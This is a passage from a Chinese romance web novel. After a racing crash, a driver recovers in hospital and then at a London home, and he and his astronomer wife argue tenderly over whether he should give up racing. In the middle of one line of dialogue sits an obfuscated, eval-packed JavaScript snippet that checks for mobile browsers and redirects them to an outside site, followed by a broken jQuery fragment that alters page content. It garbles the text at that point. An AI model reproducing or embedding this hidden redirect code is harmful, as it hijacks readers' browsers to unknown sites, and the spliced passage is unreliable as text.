泪水像决堤的洪水,冲垮了她维持多日的坚强伪装。温木蜷缩在地上,像婴儿般抱住自己,任凭泪水打湿衣襟。 “咳咳咳。” 一个沙哑的声音从头顶传来。 “老婆,你哭起来,好丑。” 温木猛地抬头,泪水模糊的视线中,宋星燃正虚弱地对她微笑。氧气面罩已经被他扯到一边,干裂的嘴唇微微上扬,眼睛虽然疲惫,却闪烁着熟悉的光芒。 “你,你。”温木说不出完整的话,只能慢慢向前挪动,颤抖的手抚上他的脸。 男人艰难地抬起没打石膏的那只手,擦去她脸上的泪水:“我都,听到了。” 温木的眼泪流得更凶了:“全部?” “嗯。”宋星燃的拇指摩挲着她的脸颊,“从''我爱他'',开始。” 温木把脸埋进他的掌心,泪水打湿了他的手指:“那你还不快点醒过来!” “想听,更多。”男人的声音虚弱但带着笑意,“再说,一次。” 温木抬起头,透过泪眼看着他苍白的脸。 阳光终于穿透云层,照在病床上,让她切切实实地意识到,他还在她身边。 她深吸一口气,俯身,贴在男人耳边,嗓音缓缓: “宋星燃。” “我爱你。” “不管你能不能赛车,不管你是不是残废,我都爱你。” “我会每天说给你听,直到你听腻为止。” 宋星燃闭上眼睛,嘴角的笑意扩大:“不够。” “什么不够?” “次数。”他费力地说,“要说,一辈子。” 温木破涕为笑,轻轻吻了吻他的额头:“好,一辈子。” 窗外的阳光更盛,驱散了病房里最后的阴霾。 机器的“滴滴”声似乎也变得欢快起来,像一首庆祝的小曲。 温木突然想起什么,抓起明杨留下的那份报告就要撕掉。 “别。宋星燃虚弱地阻止她,“留着。” “为什么?” “当,纪念。”他艰难地说,“证明,我老婆,有多爱我。” 温木又哭又笑。 “你这个疯子。” 男人眼中闪过一丝狡黠。 “嗯,是爱你的疯子。” 49. For us “宋星燃,你差不多得了。” 温木端着粥碗,无奈地看着病床上得寸进尺的男人。 男人眨巴着漂亮的眼睛,黑发在枕头上散开,用和汽油一样的眼神无辜地望着她。 “老婆,手疼。”他晃了晃打着石膏的右腿,“腿也疼。” 温木叹了口气,舀起一勺粥吹了吹,递到他嘴边:“医生说你明明可以自己吃饭了。” 宋星燃乖乖张嘴含住勺子,却在她要抽回时突然用舌尖舔了一下她的指尖。 温木像被烫到一样缩回手,耳根瞬间发热。 “你。”她瞪了他一眼,却换来一个痞里痞气的笑容。 “甜的。”宋星燃意有所指地说,目光落在她泛红的耳垂上。 这是宋星燃苏醒后的第三天。 虽然伤势仍然严重,但精神已经好了很多,最明显的表现就是——越来越会耍无赖。 温木放下粥碗,拿起床头的水杯和药片:“该吃药了。” 宋星燃皱眉:“苦。” “你三岁吗?”温木忍不住吐槽,却还是从口袋里掏出一颗草莓糖,“吃完药给你这个。” 宋星燃的眼睛亮了起来:“喂我。” “药也要喂?” “嗯。”他理直气壮地点头,“要老婆喂才不苦。” 温木摇摇头,却还是照做了。她将药片放在掌心,递到他唇边。男人低头含住药片,温热的唇有意无意地擦过她的手掌心。 “水。”她赶紧递上水杯,生怕他又搞什么小动作。 宋星燃乖乖咽下药片,然后张嘴:“啊——” 温木剥开糖纸,将草莓糖放进他嘴里。 下一秒,她的手腕被抓住,整个人被拉向前。宋星燃的唇贴上来,甜腻的草莓味在两人唇齿间蔓延。 “这样更甜。”他松开她时,得意地说。 温木喘着气,直起身,整理了一下他被弄皱的病号服领口:“你再这样我就不喂你了。” “那我喂你。”他眨眨眼,“等我好了,天天给你煮面,喂你吃。” 温木的心突然软成一团。 她伸手抚平他额前的碎发:“拜托了。” “快点好起来吧。” 阳光透过窗帘的缝隙洒在病床上,给男人苍白的脸色添了一丝生气。温木的目光扫过他打着石膏的右腿,胸口的绷带,还有吊着的右臂,只觉得喉咙发紧。 那天的画面又浮现在眼前。 电视里扭曲的赛车,闪烁的救护车灯,担架上模糊的人影…… “老婆?” “想什么呢?” 温木摇摇头,强迫自己甩掉那些画面:“没什么。要不要擦擦身子?” 宋星燃的眼睛立刻亮了起来:“要。” “只是擦身子,别想歪。”温木警告他,却还是红着脸去卫生间打热水。 当她端着水盆回来时,男人已经自己解开了病号服的上半身。虽然缠着绷带,但精壮的身躯依然若隐若现。温木别开眼,拧干毛巾,小心翼翼地避开伤口,擦拭他的脖颈和肩膀。 “下面也要。”宋星燃得寸进尺地说。 温木瞪了他一眼:“受伤的是你的腿,不是你的手。” “可是我动不了嘛。”宋星燃可怜巴巴地望着她。 “老婆~” 这声“老婆”叫得百转千回。 温木从来不知道有男人这么会撒娇,更没有想过,这个男人结婚前还是那副拽上天的样子。 她缴械投降,深吸一口气,掀开被子一角,轻轻擦拭他的小腿。宋星燃的腿很长,肌肉线条优美,即使打着石膏也掩不住运动员的体魄。温木的动作很轻,生怕弄疼他。 “上面一点。”宋星燃指挥道,“再上面一点。” 温木的毛巾移到大腿,突然意识到什么,猛地缩回手:“宋星燃。” “怎么了?”他一脸无辜,“我是真的难受。” 温木将毛巾扔进水盆:“自己擦。” “别嘛。”宋星燃用没受伤的那只手拉住她的衣角,“老婆最好啦。” 温木无奈,只好继续。 她什么时候这么禁不住他诱惑了? 毛巾在男人的身体上缓慢移动,不知道碰到了哪里,宋星燃闷哼一声。 “弄疼你了?”温木紧张地问。 宋星燃摇头,眼神却暗了下来:“就是,有点想你了。” 温木顺着他的目光看去,顿时明白了什么。 她真的不懂,都伤成这样了,那儿怎么还是这么不懂事啊。 “你怎么,这样。”她只问出来这句话。 “哪样了?”宋星燃理直气壮,“我又不是那里受伤。” 温木把毛巾砸到他脸上:“自己解决。” 男人乐得呵呵大笑起来,却牵动了肋骨的伤,立刻变成龇牙咧嘴的表情:“嘶——” “老婆你太狠心了。“ “你活该。” 温木一边骂他一边赶紧上前查看他的绷带有没有渗血。 宋星燃趁机用左手搂住她的腰,将她拉近。 “老婆,亲一下就不疼了。” 温木无奈,只好俯身在他唇上轻轻一碰。刚要离开,后脑勺却被按住,加深了这个吻。 草莓糖的甜味黏腻地弥漫开来,男人的舌尖描绘着她的唇形,温柔又霸道。 就在两人吻得难分难舍时,门被猛地推开。 “阿燃!” 一个女声炸响在病房里。 温木吓得立刻直起身,宋星燃的手还搂在她腰上。两人同时转头,只见门口站着四尊石化的人像——宋明深和沈岁,温志远和秦忆,双方父母全都瞪大了眼睛看着这一幕。 空气凝固了整整六十秒。 “哎呀我突然想起来我手机落车上了!”沈岁第一个反应过来,转身就往外走。 “我陪你去拿!”秦忆立刻跟上。 “那个,我去问问医生情况。”温志远推了推眼镜,落荒而逃。 宋明深站在原地,咳嗽了一声:“你们,继续。”然后贴心地带上了门。 温木的脸已经红得像煮熟的虾子,她猛地拍开宋星燃还搂在她腰上的手:“都怪你。” 平日里冷静自持的博士小姐难得一见的害羞了。 宋星燃却笑得没心没肺,他就喜欢她这副样子,这副只会在他面前露出的样子。 “温老师,我第一次见你脸红的这么明显。” “你!”温木想骂他,但看他浑身是伤的样子又舍不得,只好一下一下用力地整理着衣服和头发。 “这下好了,我以后怎么面对爸妈?” “怕什么。”宋星燃不以为意,“他们巴不得我们感情好呢。” “你知道我们刚结婚那会儿,我妈跟我说什么了吗?” “说什么?” 男人咧嘴一笑:“我妈说,让我乖一点儿,身材再练好一点儿,没事多看看书多学学技术,别让你嫌弃我。” 温木明知他在胡扯,瞪了他一眼,却忍不住也笑了。 她走到门口,深吸一口气,才打开门:“爸、妈,你们可以进来了。” 四位长辈鱼贯而入,个个表情微妙,刻意避开对视。 沈岁最先恢复正常,走到床边摸了摸儿子的额头:“感觉怎么样?还疼吗?” “疼。”宋星燃立刻装可怜,“要老婆亲亲才能好。” 温木在背后狠狠掐了他一下,男人“嗷”地叫出声。 “活该。”沈岁了然地说,却还是心疼地帮儿子调整了一下枕头,“怎么这么不小心?你知不知道看到新闻时我差点晕过去?” 宋星燃收起玩笑的表情:“对不起,妈。” “别怪他。”温木轻声说,“是赛车突然失控。” 宋明深严肃地看着儿子:“医生怎么说?恢复期要多久?” “三个月左右。”宋星燃回答,“骨头愈合后还要做复健。” “车队那边……” “爸。”宋星燃打断他,“现在先不说这个。” 气氛一时有些凝重。 秦忆适时地拿出保温盒:“枝枝,我煲了汤,你这几天肯定没好好吃饭。” “谢谢妈。”温木接过保温盒,确实感到饿了。这几天她几乎寸步不离地守着宋星燃,确实没怎么正经吃饭。 沈岁拉着温木的手:“好孩子,辛苦你了。今晚我们守着,你回去好好休息一下吧。” 温木刚要拒绝,宋星燃却开口:“妈说得对,你该休息了。” 她看向病床上的人,男人目光盈盈,盛着似水的温柔。 最终,她点点头:“那,我回去洗个澡,换身衣服就回来。” “不用急着回来。”宋星燃捏了捏她的手,“好好睡一觉。” 坏小子,现在知道装了。 温木内心愤愤。 她附身,思索片刻,在他耳边轻声说:“没有你我睡不着。” 宋星燃的眸子暗了暗,用只有她能听到的声音说:“等我好了,让你睡个够。” 温木红着脸直起身,在四位长辈探究的目光中匆匆告别。 * 两周后,宋星燃终于获准出院。 温木帮他穿上外套,小心避开右臂的吊带。经过半个月的恢复,男人的气色好了很多,已经能在搀扶下短暂站立了。 “回家咯。”宋星燃像个孩子一样兴奋,左手搂住温木的肩膀借力。 温木扶着他慢慢走向轮椅——医生坚持出院必须坐轮椅,以防摔倒造成二次伤害。宋星燃对此颇有微词,但在温木的坚持下还是妥协了。 “宋先生在伦敦的住所已经准备好了。”医院的行政人员恭敬地说,“康复团队会每天上门进行理疗和检查。” “谢谢。”温木点头,帮宋星燃调整好轮椅上的靠垫。 宋家的车直接开到了医院门口。 司机和保镖帮忙将宋星燃扶上车,温木则细心地收好所有药物和医嘱。 车子驶向伦敦西区的一处豪宅。温木虽然知道宋家在全球主要城市都有房产,但亲眼见到这栋位于肯辛顿花园附近的五层别墅时,还是暗暗咋舌。 五楼还不装个电梯,要累死她这个老年人吗? “喜欢吗?”宋星燃靠在她肩上问,“以后来伦敦比赛,我们就住这里。” 温木轻轻“嗯”了一声,心思却飘去了别处。 老实说,她希望他别再比赛了。 她从未想过要干涉宋星燃的事业,但这次事故确实给她留下了太深的阴影。 找个时间,跟他聊聊吧。 别墅内部装修典雅而不失现代感。一层是宽敞的客厅和餐厅,二层是主卧和书房,三层是客房,顶层还有个带望远镜的小型天文台——显然是特意为温木准备的。 “惊喜吗?”宋星燃得意地问,“我让爸爸去年买的,专门为你改造的。” “可惜还没来得及告诉你,就……”他耸耸肩,随即因为牵动伤口而龇牙咧嘴。 温木赶紧扶他坐下:“别乱动。” 康复师和护士很快到位,帮宋星燃做了基础检查。 温木则熟悉了一下别墅的布局,特别是紧急呼叫设备的位置。 晚上,她帮宋星燃洗完澡——这已经成了日常,虽然每次都会让两人面红耳赤——然后小心翼翼地扶他上床。 “今天终于可以睡床了。”宋星燃满足地叹了口气,“医院的床硬死了。” “娇气包。”温木关掉主灯,只留一盏小夜灯。 她刚躺下,男人就蹭过来,用没受伤的那只手搂住她。 “老婆。” “嗯?” “谢谢你。”他的声音在黑暗中格外温柔,“这段时间辛苦了。” 温木转身面对他,在微光中描摹他的轮廓:“不辛苦。” 宋星燃的拇指抚过她的眼角:“骗人,你都瘦了。” “正好减肥。”温木故作轻松地说,却忍不住靠得更近,倾听他有力的心跳声。 这是事故后,她第一次感到真正的安心。医院的消毒水味被家中熟悉的薰衣草香取代,冰冷的仪器声被彼此的呼吸声取代。 温木闭上眼睛,慢慢沉入梦乡。 她回到了那条走廊。 她捧着那座水晶星云,步履轻快地走在那条走廊上。 她看见了走廊尽头的电视屏幕,双腿像被绑住一般,怎么都动不了。 不,她想走,她要去看他比赛的。 为什么不让她走? 她在害怕,仿佛那台电视里,有什么恐怖的东西。 然后,她看见了那辆车。 银黑色的赛车以扭曲的姿态冲向护栏,碳纤维碎片像烟花般炸开。火焰吞噬了驾驶舱,里面的人影挣扎着,却无法逃脱。 那是谁? 是谁被困在里面? 他出来了吗? 他受伤了吗? 为什么,感觉这么熟悉? 不。 不是他。 一定不能是他。 “老婆!” “老婆!” “醒醒!” 温木猛地睁开眼,已是浑身冷汗,泪水打湿了男人的睡衣前襟。 “没事了,我在这,我没事。“宋星燃不停地亲吻她的发顶,左手轻拍她的后背,“只是个噩梦。” 温木说不出话,只能将脸埋在他胸前,拼命咬着下唇,克制着已经在眼眶里晃悠的泪水。 “对不起,老婆。” “我保证再也不让你担心了。” 温木摇摇头,却抱得更紧。 她不敢想象,如果那天的事故再严重一点,如果他没有醒过来,如果…… “嘘,别想了。”宋星燃仿佛能读懂她的心思,“我就在这里,哪儿也不去。” 月光透过窗帘的缝隙洒在床上,勾勒出两人相拥的轮廓。 “要不要喝点水?”他问。 温木摇头,只是更紧地贴着他:“就这样,别动。” 宋星燃吻了吻她的额头:“好,不动。” 夜风轻轻吹动窗帘,远处传来伦敦钟楼的报时声。 月光如水,静静流淌在卧室的地板上。 温木蜷缩在宋星燃的怀里,听着他有力的心跳声,手指无意识地摩挲着他睡衣的纽扣。宋星燃的左臂轻轻环着她,受伤的右臂搁在枕边。 “还疼吗?”她轻声问,指尖小心翼翼地避开他胸前的绷带。 宋星燃摇摇头,下巴蹭过她的发顶:“早就不疼了。” 他在撒谎。每次翻身时那微不可察的停顿,夜里偶尔的闷哼,还有吃药时微微皱起的眉头,她都记得很清楚。 但她没有拆穿,只是更紧地贴向他。 “在想什么?”宋星燃的唇贴在她额角,声音低沉而温柔。 温木没有立刻回答。 自从那场事故以来,她一直强迫自己保持冷静和坚强,像处理天文数据一样理性地应对每一个突发状况。但现在,在这个安静的夜晚,在这个只属于他们的空间里,她感到某种长久以来紧绷的东西正在松动。 “我在想,”她的声音轻得几乎听不见,“如果你没有醒过来,我该怎么办。” 宋星燃的身体明显僵了一下。他试图抬起她的脸,但温木固执地把头埋在他胸前,不让他看到自己的表情。 “温木。”他喊她。 温木没有理会他,目光滞滞,像是自言自语地继续往下说:“那天我看到新闻,电视里你的车完全变形了,前翼碎得像纸片一样。我一直在打你的电话,但怎么也打不通。” “我在飞机上一直在想,如果你真的出事了,我要怎么办?我要做哪些事?我要认领你的尸体,要安排葬礼,要回到没有你的家,要一个人照顾汽油,带着那些痛苦的记忆入睡……” 男人的呼吸变得急促,他用力搂紧她,仿佛要把她揉进骨血里:“别说了,对不起,对不起。” “你知道最可怕的是什么吗?”温木抬起头,泪水在月光下闪闪发亮,“是我发现,我根本想象不出来。” “没有你的生活,对我来说就像,就像没有空气一样。” “好可怕,我真的爱上你了。” 她没有说完,宋星燃已经颤抖着吻去她脸上的泪水,咸涩的液体沾湿了他的嘴唇,但他却毫不在意,好像这样,就能分走一点怀里人的痛楚。 “我不会离开你的,永远不会。” “你保证?”温木怔怔看着他。 宋星燃捧起她的脸,额头抵着她的:“我保证。就算死神来了,我也会揍他一顿然后跑回来找你。” 温木破涕为笑,但笑容很快又被愁容淹没:“你知道吗?这段时间,我每天半夜都会醒,一定要听到你的心跳声才能再次入睡。” “我讨厌这样。” “我变得,不像我自己了。“ “温木,”宋星燃的声音沙哑得不成样子,“看着我。” 她被他捧着脸抬起头来,却不想再去看他。 “我发誓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432124|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”男人一字一句地说,“再也不会让你这样担心了。” 温木摇摇头:“你控制不了的。赛车就是,就是那么危险。” 空气凝固了。 宋星燃的眉头微微皱起,似乎意识到了什么。温木感到一阵心悸,但她已经无法回头了——那些在心底压抑了太久的话,终于找到了出口。 “宋星燃,”她平静地开口,“你能不能……” “放弃赛车?” 这句话像一块石头,重重砸在两人之间。 男人的瞳孔微微扩大,嘴唇抿成一条直线。但温木知道,既然开口了,就不能停下。 “我知道这个要求很自私,但我还是要说。”她的手指紧紧抓住男人的衣襟。 “我真的,真的不能再经历一次了。不仅是我,爸爸妈妈,你的老板,你的队友,所有你身边的人,他们都不能再经历一次了。” “温木。”宋星燃轻声打断她,拇指抚过她颤抖的嘴唇,“看着我。” 她抬起头,眼尾泛着薄红。 “我理解你的害怕,”他的声音异常平静,“但事情没那么简单。” “什么意思?” 宋星燃深吸一口气,小心地选择着词句:“我和车队的合同还有半年,而且……” 他犹豫了一下,“有些事我需要处理。” “有什么事比你的生命还重要?” “比我们的婚姻、我们的生活还重要?” “当然没有。”男人立刻否认,左手抚上她的脸颊,“但请相信我,我需要一点时间。我会安排好一切,好吗?” 温木挣脱他的手,坐起身来。月光照在她苍白的脸上,泪痕闪闪发亮:“时间?下次你可能就没有时间了!你知道你的伤势有多严重吗?骨折,三根肋骨断裂,脑震荡!医生说如果再伤到头部……” 她哽咽住,无法继续。 宋星燃艰难地撑起身子,忍着疼痛坐起来,用没受伤的那只手去拉她:“老婆。” “别叫我老婆。”温木猛地甩开他的手,随即又为自己的失控感到羞愧。 她怎么会变成这样,变成这种失魂落魄,根本控制不了自己情绪的,自己最讨厌的那种,莽撞的人。 为什么会这样? “宋星燃,如果你真的把我当妻子,就不应该不考虑我们的未来。” 不考虑我。 她似乎是说不下去了,双手捂住脸,肩膀剧烈抖动。 男人不顾伤痛,强硬地将她拉进怀里,任凭她挣扎也不放手。 “对不起,”他在她耳边一遍遍重复,“对不起,让你这么害怕。” 温木终于停止了挣扎,在他怀里崩溃大哭。所有压抑的情绪像决堤的洪水,冲垮了她一贯的理性和克制。她哭得像个迷路的孩子,泪水浸透了男人的睡衣。 她真的很害怕,从来没有这么害怕过。她知道自己的人生一帆风顺,很少有过挫折。可是她从没有想过,爱上一个人会是这样的痛苦。 温木后知后觉地感到恐惧,她不喜欢这样失去自我的样子。强压着平复呼吸,抹去眼角泪水,再开口,声音已经恢复了一贯的冷静。 “我不希望失去你。”她最终只是这样说。 宋星燃的心脏像被一只无形的手攥紧了。 他从未见过这样的温木——那个在学术会议上冷静辩论的温博士,那个面对挑衅从不失态的温老师,此刻在他怀里脆弱得如同风中残烛。 “听我说,”他捧起她的脸,强迫她看着自己,“我爱你,胜过这世上的一切。赛车只是,只是我生命的一部分。” “而你,你是我的全部。” 女人的睫毛上挂着泪珠,在月光下像细小的钻石。 她没有说话,只是用淡漠的眼神凝视着他,沉默地控诉着她的不满。 “有些事情我必须做完。”宋星燃的眼神变得坚定,“给我三个月,不,两个月。我答应你,会给你一个满意的答案。” 他吻了吻她的眉心:“相信我,好吗?” 温木想说不,想大声抗议,想威胁他如果不放弃赛车就离婚。但当她看到宋星燃眼中的恳求和坚定,所有的狠话都卡在了喉咙里。 “可是我害怕。” “我年纪大了,我害怕。” 她罕见地拿年龄跟他开玩笑,希望他能明白一点她的心。 男人将她重新搂进怀里,下巴抵着她的发顶:“我知道,我知道。” “你知道吗?很久之前开始,你比赛的时候,我都会做噩梦。”温木的声音闷在他胸前,“我去查资料,去计算撞击角度和速度,去研究安全系统的极限。” “数据告诉我你很安全,但我的心不听使唤。” 心被狠狠揪住。 他的天文学家妻子,居然用科学方法来缓解焦虑,却依然无法摆脱恐惧。 “对不起。” “明明结婚后一直在反复强调让你不要干涉我的工作,一直把工作放在你的前面,可现在,却没有理由地让你放弃你热爱了十几年的赛车。” “我想,我是世界上最自私的人。” “不。” 温木的脸被男人轻轻捧起。 “温木,你一点都不自私。” “你只是爱我。” 爱。 这个简单的字眼此刻显得如此沉重。 温木抬起头,在月光下凝视丈夫的脸——那道她亲吻过无数次的疤痕横在眉骨,琥珀色的眼睛即使在黑暗中依然明亮,嘴唇因为缺水而有些干裂,却依然是她最爱的形状。 她凑上去,用力吻住他。 这个吻带着咸涩的泪水和无法言说的恐惧,像溺水者抓住最后一根浮木。宋星燃回应着她,左手插入她的发丝,轻柔却坚定。 当他们分开时,两人的呼吸都不稳。 温木的额头抵着他的,轻声说:“我是不是很糟糕?” “明明已经是三十岁的人了,却这样脆弱,这样经受不住打击,我甚至……” “甚至还比不上你。” 比不上这样强大坚韧又自信的你。 “糟糕?”男人轻笑,“温老师,你是我见过最勇敢的人。” “我们第一次见面,你让我乖乖回去跟你结婚的样子,真的酷毙了。” “可勇敢的人不会半夜哭得像个小孩子。” “勇敢不是不害怕,”宋星燃吻了吻她的鼻尖,“而是害怕却依然前行。” “就像你,明明那么恐惧,却还是支持我比赛到现在。” 温木垂下眼睛:“以后可能支持不了了。” 她不想撒谎,确实在慢慢表现出她对于他事业的担忧。 宋星燃沉默了一会儿,然后说:“给我弹一首曲子,可以吗?” “现在?”温木疑惑地抬头。 “嗯。”宋星燃指了指角落里的钢琴——那是搬进来时他特意为她准备的,“弹那首你最喜欢的,德彪西的《月光》。” 温木犹豫了一下,还是起身走向钢琴。月光透过落地窗照在黑白的琴键上,她轻轻抚过冰凉的表面,然后坐下。 第一个音符响起时,宋星燃闭上了眼睛。温木的演奏并不专业,但充满感情。清澈的琴声像月光一样流淌在房间里,抚平了刚才激烈的情绪波动。 当最后一个音符消散在空气中时,他睁开眼,他的妻子木坐在琴凳上望着他,美得似月亮上的仙子。 “过来。”他伸出手。 温木走回床边,被他拉进怀里。宋星燃的唇贴在她的耳畔:“无论发生什么,我们都会在一起。我保证。” 这不是她想要的答案。 但此刻,在这个月光如水的夜晚,在他温暖的怀抱里,温木决定暂时相信这个承诺。 “我爱你。”她轻声说,这是今晚唯一确定无疑的事实。 宋星燃收紧手臂,将她搂得更紧:“我更爱你。” “不可能。” “赌一百块。” 温木笑了,眼角还挂着泪花:“宋少爷这么小气呢。” “你现在欠我的可不止一百块。“ “那就用一辈子来还。”男人吻了吻她的发顶,“睡吧,我就在这里。” 温木靠在他胸前,听着那熟悉的心跳声,慢慢闭上眼睛。 月光悄悄移动,将两人相拥的身影投射在墙上,像一个永不分离的整体。 窗外,伦敦的夜空繁星点点。 温木恍然觉得,她研究了十年的星辰,此刻,都不及怀中这个人的心跳来得真实而珍贵。